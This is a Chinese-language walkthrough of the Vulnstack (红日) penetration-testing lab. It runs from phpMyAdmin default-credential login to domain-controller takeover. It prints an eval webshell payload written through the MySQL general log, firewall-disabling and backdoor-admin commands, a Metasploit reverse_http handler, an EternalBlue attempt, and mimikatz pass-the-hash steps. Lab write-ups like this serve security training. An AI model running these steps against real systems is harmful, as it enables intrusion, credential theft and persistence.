红日靶场:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
网络配置
攻击机 kali:192.168.108.128。
win7(web服务器)双网卡:192.168.108.132,192.168.52.143
192.168.108.132连外网与kali一个网段,都是VMnet8,192.168.52.143连内网网段,都是VMnet1
Windows 2008 (域控):192.168.52.138。
Win2k3 (域管):192.168.52.141。
因为我的kali是108网段的,所以web服务器连外网的网卡需要手动更改为,这里你们kali是什么网段就改成什么。
web渗透
1)信息收集
nmap扫描端口,开放了3306,135,139,445等端口,
dirsearch,御剑,dirb几个目录扫描工具一起扫目录
扫出phpadmin和备份文件(还有/yxcms目录但是我没扫出来
2)getshell
进入phpadmin页面,测试口令 admin/admin成功登入,phpadmin有两种方法getshell
(1)into out导出木马
需要三个条件
- 知道绝对路径
- secure_file_priv =""(默认为null,这里不满足此项)
- 具有root权限
(2)利用mysql日志文件getshell
执行show variables like '%general%';查看日志状态
general_log全局日志功能关闭了,需要通过命令开启,SET GLOBAL general_log='on'
,SET GLOBAL general_log_file='C:/phpStudy/www/hack.php'
执行sql语句,开启日志并重新设置日志文件存放位置,执行SELECT '<?php eval($_POST["cmd"]);?>'
后可以用哥斯拉连上shell,成功拿到web服务器权限
内网信息探测
getshell后发现是administrator权限,是192.168.52.143/24网段
netsh advfirewall set allprofiles state off
win关闭防火墙
1)上线cs
在kali上启动cs服务器
物理机启动客户端,连接服务端,添加监听器,hosts就是服务器ip
生成exe后门,选择刚刚建立的监听器,用哥斯拉将payload文件上传至win7并执行,能看见cs上线
上线后执行sleep 0,不然响应时间很长,在输入的命令前都要加上shell
shell systeminfo 查看系统信息,看到只打了四个补丁,尝试进行提权
这里我选择的是svc-exe,成功提升到system权限
2)收集内网信息
- 判断是否存在域
net config Workstation
,当前域为god,可以用net view /domain
查看是否有其他域
2. 找出域控与域内其他主机,net group "domain controllers" /domain
域控为owa
3. 查看局域网内其他主机信息: net view
域内还存在一台主机192.168.52.141,域控主机为192.168.52.138
接下来的目标就是横向渗透拿下域控
3)rdp远程连接win7(可选)
远程连接需要开启3389端口,关闭防火墙
#注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
#关闭防火墙
netsh firewall set opmode disable
#winsows server 2003 之前netsh advfirewall set allprofiles state off
#winsows server 2003 之后新建用户并加入administrators组
net user test Passwd123 /add
net localgroup administrators test /add
后渗透
1)CS派生会话给MSF(可选)
msf开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.236.128
set lport 1111 exploit
CS新建一个监听器,注意payload是foreign、reverse_http,name为MSF,端口是msf监听的端口
选择将要转发的会话,执行spawn MSF
,msf成功收到会话
2)MSF简单利用-永恒之蓝
run post/windows/gather/checkvm
可以检测判断靶机是否属于虚拟机(是否进入蜜罐)先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带
auxiliary/scanner/portscan/tcp
模块扫描内网域成员主机 192.168.52.138 开放的端口:use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.138
set ports 80,135-139,445,3306,3389
run
也可以用cs插件
通过上传fscan或者cs插件、扫出135、139、445端口都能知道域控存在永恒之蓝,msf直接exp
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接
set rhosts 192.168.52.138
run
但是最后没有生成会话,没拿到shell,失败
3)哈希传递(PTH)拿下域控
哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统。 攻击者无须通过解密hash值来获取明文密码。
通过cs自带的mimikatz抓取web服务器的哈希与明文
进入目标列表,找到其他的目标主机,通过psexec进行横向移动
自动填写刚刚抓取到的密码,监听器选择smb,会话选择web服务器的会话
已经取得了域控主机权限。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)